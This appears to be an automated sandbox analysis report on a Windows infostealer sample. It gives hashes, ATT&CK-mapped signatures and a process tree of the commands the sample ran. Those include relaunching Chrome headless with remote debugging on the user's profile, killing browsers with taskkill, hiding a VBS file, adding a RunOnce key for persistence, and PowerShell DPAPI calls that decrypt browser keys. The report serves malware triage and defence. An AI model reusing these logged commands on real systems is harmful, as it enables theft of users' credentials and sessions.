aaceecc0081edc72395c7dcb36456888e92a3fb410512e3253089ff309a9b84a

Analysis

max time kernel
22s
max time network
49s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 14:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mvzdtfhb-892f18363379.exe
Size 65.9MB
Sample261102-sc2resfd89
SHA256 aaceecc0081edc72395c7dcb36456888e92a3fb410512e3253089ff309a9b84a
MD5 fb47e7ad394f68775ddb5788bf64ad93
SHA1 b1784b107b608e52d8034c80bcccd34eb264a6ac
SHA512 f36ad869ee0cc60fc5bc323fd714b718ab784fda2fec2590e0d0878e7170dd10119c3c66aa5df307ff732deddbb67f246f2b320ded5ff5263340ebb67af814f4
SSDEEP 786432:dnbJvyqrzrKQ33YC1atpxmvvjWczZ5mk8oEsSEIu/YbOxi792g1eLleMuOQzT6kB:tgqTV3taxm3jWczZ5mJlfbZH1lOJkx7
TLSH
T1D8E73312E3EADEABD6111FF604B2004B8BE57796061517FAE11E873C16A0A4FE4D9CF1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Uses browser remote debugging 2 TTPs 28 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4620	chrome.exe
1900	chrome.exe
5740	chrome.exe
1812	msedge.exe
5008	chrome.exe
6728	chrome.exe
7020	chrome.exe
2148	chrome.exe
4640	chrome.exe
4484	chrome.exe
4912	chrome.exe
2808	msedge.exe
5972	msedge.exe
6716	chrome.exe
6944	chrome.exe
6448	chrome.exe
3348	chrome.exe
3420	chrome.exe
5248	chrome.exe
5920	msedge.exe
6976	chrome.exe
2896	chrome.exe
6056	chrome.exe
3092	chrome.exe
4712	msedge.exe
5960	chrome.exe
3732	chrome.exe
2084	chrome.exe

Executes dropped EXE 3 IoCs

pid	Process
6000	ag.exe
4416	ag.exe
5528	ag.exe

Loads dropped DLL 12 IoCs

pid	Process
5456	mvzdtfhb-892f18363379.exe
5456	mvzdtfhb-892f18363379.exe
5456	mvzdtfhb-892f18363379.exe
6000	ag.exe
6000	ag.exe
4416	ag.exe
5528	ag.exe
4416	ag.exe
4416	ag.exe
4416	ag.exe
4416	ag.exe
4416	ag.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-53044966-3830981193-2402648431-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\ag = "wscript.exe \"C:\\ProgramData\\Update.vbs\""	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
81	discord.com
83	discord.com
93	discord.com
101	discord.com
132	discord.com
9	discord.com
16	discord.com
80	discord.com

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	ip-api.com
7	api.ipify.org

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
4364	cmd.exe
2532	cmd.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5128	cmd.exe

Queries registry keys for unique system GUIDs 1 TTPs 1 IoCs

Queries the MachineGuid or HwProfileGuid value from the command line, commonly used to create a unique victim ID.

discovery

System Information Discovery

T1082

pid	Process
2744	reg.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3488	cmd.exe
4884	cmd.exe
4364	cmd.exe
2532	cmd.exe
5484	cmd.exe
6608	cmd.exe
5192	cmd.exe
1488	cmd.exe
944	cmd.exe
2972	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ag.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ag.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ag.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ag.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mvzdtfhb-892f18363379.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2892	chrome.exe
5676	chrome.exe
3132	msedge.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
3300	taskkill.exe
3448	taskkill.exe
4124	taskkill.exe
6976	taskkill.exe
1384	taskkill.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4640	chrome.exe
4640	chrome.exe
5164	powershell.exe
5164	powershell.exe
5164	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
1900	chrome.exe
1900	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
1900	chrome.exe
1900	chrome.exe
1900	chrome.exe
1900	chrome.exe
1900	chrome.exe
2808	msedge.exe
2808	msedge.exe
2808	msedge.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

description	pid	Process
Token: SeSecurityPrivilege	5456	mvzdtfhb-892f18363379.exe
Token: SeDebugPrivilege	1384	taskkill.exe
Token: SeShutdownPrivilege	4640	chrome.exe
Token: SeCreatePagefilePrivilege	4640	chrome.exe
Token: SeShutdownPrivilege	6000	ag.exe
Token: SeCreatePagefilePrivilege	6000	ag.exe
Token: SeShutdownPrivilege	4640	chrome.exe
Token: SeCreatePagefilePrivilege	4640	chrome.exe
Token: SeDebugPrivilege	5164	powershell.exe
Token: SeShutdownPrivilege	6000	ag.exe
Token: SeCreatePagefilePrivilege	6000	ag.exe
Token: SeShutdownPrivilege	4640	chrome.exe
Token: SeCreatePagefilePrivilege	4640	chrome.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeShutdownPrivilege	6000	ag.exe
Token: SeCreatePagefilePrivilege	6000	ag.exe
Token: SeDebugPrivilege	3300	taskkill.exe
Token: SeShutdownPrivilege	6000	ag.exe
Token: SeCreatePagefilePrivilege	6000	ag.exe
Token: SeShutdownPrivilege	6000	ag.exe
Token: SeCreatePagefilePrivilege	6000	ag.exe
Token: SeDebugPrivilege	3448	taskkill.exe
Token: SeShutdownPrivilege	6000	ag.exe
Token: SeCreatePagefilePrivilege	6000	ag.exe
Token: SeShutdownPrivilege	1900	chrome.exe
Token: SeCreatePagefilePrivilege	1900	chrome.exe
Token: SeShutdownPrivilege	6000	ag.exe
Token: SeCreatePagefilePrivilege	6000	ag.exe
Token: SeDebugPrivilege	4124	taskkill.exe
Token: SeShutdownPrivilege	1900	chrome.exe
Token: SeCreatePagefilePrivilege	1900	chrome.exe
Token: SeShutdownPrivilege	6000	ag.exe
Token: SeCreatePagefilePrivilege	6000	ag.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4640	chrome.exe
1900	chrome.exe
2808	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5456 wrote to memory of 6000	5456	mvzdtfhb-892f18363379.exe	90
PID 6000 wrote to memory of 3488	6000	ag.exe	91
PID 3488 wrote to memory of 1384	3488	cmd.exe	93
PID 6000 wrote to memory of 4640	6000	ag.exe	95
PID 6000 wrote to memory of 5192	6000	ag.exe	96
PID 4640 wrote to memory of 6040	4640	chrome.exe	98
PID 5192 wrote to memory of 2744	5192	cmd.exe	99
PID 6000 wrote to memory of 5128	6000	ag.exe	100
PID 6000 wrote to memory of 4884	6000	ag.exe	101
PID 6000 wrote to memory of 1488	6000	ag.exe	102
PID 4640 wrote to memory of 2892	4640	chrome.exe	106
PID 4640 wrote to memory of 3732	4640	chrome.exe	107
PID 4640 wrote to memory of 3732	4640	chrome.exe	107
PID 4640 wrote to memory of 1692	4640	chrome.exe	108
PID 4640 wrote to memory of 1692	4640	chrome.exe	108
PID 6000 wrote to memory of 4416	6000	ag.exe	109
PID 6000 wrote to memory of 4416	6000	ag.exe	109
PID 6000 wrote to memory of 5528	6000	ag.exe	110
PID 4640 wrote to memory of 2896	4640	chrome.exe	111
PID 4640 wrote to memory of 3348	4640	chrome.exe	112
PID 4640 wrote to memory of 2896	4640	chrome.exe	111
PID 4640 wrote to memory of 3348	4640	chrome.exe	112
PID 4640 wrote to memory of 4620	4640	chrome.exe	114
PID 4640 wrote to memory of 4620	4640	chrome.exe	114
PID 5128 wrote to memory of 4940	5128	cmd.exe	115
PID 4884 wrote to memory of 3456	4884	cmd.exe	116
PID 1488 wrote to memory of 2468	1488	cmd.exe	117
PID 4640 wrote to memory of 5712	4640	chrome.exe	119
PID 4640 wrote to memory of 5712	4640	chrome.exe	119
PID 6000 wrote to memory of 4364	6000	ag.exe	120
PID 4364 wrote to memory of 5164	4364	cmd.exe	122
PID 4640 wrote to memory of 3420	4640	chrome.exe	123
PID 4640 wrote to memory of 3420	4640	chrome.exe	123
PID 6000 wrote to memory of 2532	6000	ag.exe	124
PID 2532 wrote to memory of 1304	2532	cmd.exe	126
PID 6000 wrote to memory of 944	6000	ag.exe	127
PID 944 wrote to memory of 3300	944	cmd.exe	129
PID 6000 wrote to memory of 6056	6000	ag.exe	130
PID 6056 wrote to memory of 5684	6056	chrome.exe	131
PID 6000 wrote to memory of 2972	6000	ag.exe	132
PID 2972 wrote to memory of 3448	2972	cmd.exe	134
PID 6000 wrote to memory of 1900	6000	ag.exe	135
PID 1900 wrote to memory of 1100	1900	chrome.exe	136
PID 1900 wrote to memory of 5896	1900	chrome.exe	137
PID 1900 wrote to memory of 5676	1900	chrome.exe	138
PID 1900 wrote to memory of 5896	1900	chrome.exe	137
PID 1900 wrote to memory of 4160	1900	chrome.exe	140
PID 1900 wrote to memory of 4160	1900	chrome.exe	140
PID 1900 wrote to memory of 5248	1900	chrome.exe	141
PID 1900 wrote to memory of 4912	1900	chrome.exe	142
PID 1900 wrote to memory of 5248	1900	chrome.exe	141
PID 1900 wrote to memory of 4912	1900	chrome.exe	142
PID 1900 wrote to memory of 3092	1900	chrome.exe	143
PID 1900 wrote to memory of 3092	1900	chrome.exe	143
PID 1900 wrote to memory of 4484	1900	chrome.exe	144
PID 1900 wrote to memory of 4484	1900	chrome.exe	144
PID 1900 wrote to memory of 4488	1900	chrome.exe	145
PID 1900 wrote to memory of 4488	1900	chrome.exe	145
PID 1900 wrote to memory of 5740	1900	chrome.exe	146
PID 1900 wrote to memory of 5740	1900	chrome.exe	146
PID 6000 wrote to memory of 5484	6000	ag.exe	147
PID 5484 wrote to memory of 4124	5484	cmd.exe	149
PID 6000 wrote to memory of 2808	6000	ag.exe	150
PID 2808 wrote to memory of 2424	2808	msedge.exe	151

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4940	attrib.exe

C:\Users\Admin\AppData\Local\Temp\mvzdtfhb-892f18363379.exe
"C:\Users\Admin\AppData\Local\Temp\mvzdtfhb-892f18363379.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5456
- C:\Users\Admin\AppData\Local\Temp\3LYWFnuv3nIbdjyrZjEtxU77X3q\ag.exe
  C:\Users\Admin\AppData\Local\Temp\3LYWFnuv3nIbdjyrZjEtxU77X3q\ag.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3488
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1384
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=9222 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default https://mail.google.com
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff9caebc728,0x7ff9caebc734,0x7ff9caebc740
      4⤵
      PID:6040
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,8412293461424681789,8771162645919326715,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:11
      4⤵
      System Time Discovery
      PID:2892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1828,i,8412293461424681789,8771162645919326715,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1824 /prefetch:2
      4⤵
      PID:3732
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,8412293461424681789,8771162645919326715,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:13
      4⤵
      PID:1692
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1828,i,8412293461424681789,8771162645919326715,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2896
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1828,i,8412293461424681789,8771162645919326715,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3348
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1828,i,8412293461424681789,8771162645919326715,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4068 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4620
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,8412293461424681789,8771162645919326715,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:14
      4⤵
      PID:5712
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1828,i,8412293461424681789,8771162645919326715,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5192
  - - C:\Windows\System32\reg.exe
      C:\Windows\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
      4⤵
      Queries registry keys for unique system GUIDs
      PID:2744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\ProgramData\Update.vbs""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5128
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\ProgramData\Update.vbs"
      4⤵
      Views/modifies file attributes
      PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "ag" /t REG_SZ /d "wscript.exe \"C:\ProgramData\Update.vbs\"" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4884
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "ag" /t REG_SZ /d "wscript.exe \"C:\ProgramData\Update.vbs\"" /f
      4⤵
      Adds Run key to start application
      PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ag" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1488
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ag" /f
      4⤵
      PID:2468
- - C:\Users\Admin\AppData\Local\Temp\3LYWFnuv3nIbdjyrZjEtxU77X3q\ag.exe
    "C:\Users\Admin\AppData\Local\Temp\3LYWFnuv3nIbdjyrZjEtxU77X3q\ag.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\ag" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1884,i,17110226001245516204,14117714347718975957,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1876 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4416
- - C:\Users\Admin\AppData\Local\Temp\3LYWFnuv3nIbdjyrZjEtxU77X3q\ag.exe
    "C:\Users\Admin\AppData\Local\Temp\3LYWFnuv3nIbdjyrZjEtxU77X3q\ag.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\ag" --field-trial-handle=2452,i,17110226001245516204,14117714347718975957,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:11
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    PID:5528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,220,106,105,133,209,83,31,74,186,57,22,40,46,29,65,164,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,49,5,237,67,47,210,141,140,45,94,186,99,63,230,80,149,150,131,186,29,79,167,22,215,226,9,153,250,101,143,42,234,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,229,48,157,94,179,19,252,247,238,182,33,190,72,111,72,44,221,9,187,89,97,5,101,248,155,20,247,217,138,126,128,154,48,0,0,0,172,222,168,82,0,206,203,65,147,237,166,144,159,194,117,120,112,249,40,165,114,10,78,246,196,83,140,125,221,246,140,43,121,7,40,207,102,253,151,158,222,100,39,251,82,219,65,172,64,0,0,0,1,62,235,163,43,119,67,222,138,204,72,46,188,26,120,45,71,237,17,227,136,61,246,10,23,243,11,244,22,91,2,106,235,166,243,233,248,126,202,126,118,181,12,85,142,58,21,218,183,191,112,14,229,178,118,7,154,140,222,9,147,136,134,31), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,220,106,105,133,209,83,31,74,186,57,22,40,46,29,65,164,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,49,5,237,67,47,210,141,140,45,94,186,99,63,230,80,149,150,131,186,29,79,167,22,215,226,9,153,250,101,143,42,234,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,229,48,157,94,179,19,252,247,238,182,33,190,72,111,72,44,221,9,187,89,97,5,101,248,155,20,247,217,138,126,128,154,48,0,0,0,172,222,168,82,0,206,203,65,147,237,166,144,159,194,117,120,112,249,40,165,114,10,78,246,196,83,140,125,221,246,140,43,121,7,40,207,102,253,151,158,222,100,39,251,82,219,65,172,64,0,0,0,1,62,235,163,43,119,67,222,138,204,72,46,188,26,120,45,71,237,17,227,136,61,246,10,23,243,11,244,22,91,2,106,235,166,243,233,248,126,202,126,118,181,12,85,142,58,21,218,183,191,112,14,229,178,118,7,154,140,222,9,147,136,134,31), $null, 'CurrentUser')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,220,106,105,133,209,83,31,74,186,57,22,40,46,29,65,164,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,69,91,243,10,123,36,99,130,213,51,107,81,75,118,176,41,179,36,215,117,237,219,12,119,128,96,6,224,249,120,165,150,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,79,248,92,116,164,120,190,193,255,191,255,82,71,179,59,190,214,232,252,17,200,194,172,62,150,104,29,39,142,57,76,232,48,0,0,0,69,217,89,30,98,255,25,18,50,83,231,234,73,126,183,191,49,234,86,91,65,137,140,166,196,53,126,188,202,204,110,66,35,54,97,244,124,197,245,207,19,240,57,191,127,131,41,229,64,0,0,0,169,15,164,87,185,203,244,43,43,111,134,29,43,156,227,157,21,93,207,37,54,187,129,150,53,203,78,140,212,117,127,181,154,159,140,124,53,145,182,222,104,194,154,7,35,114,62,148,182,41,76,174,81,57,102,144,123,24,190,97,40,83,151,11), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
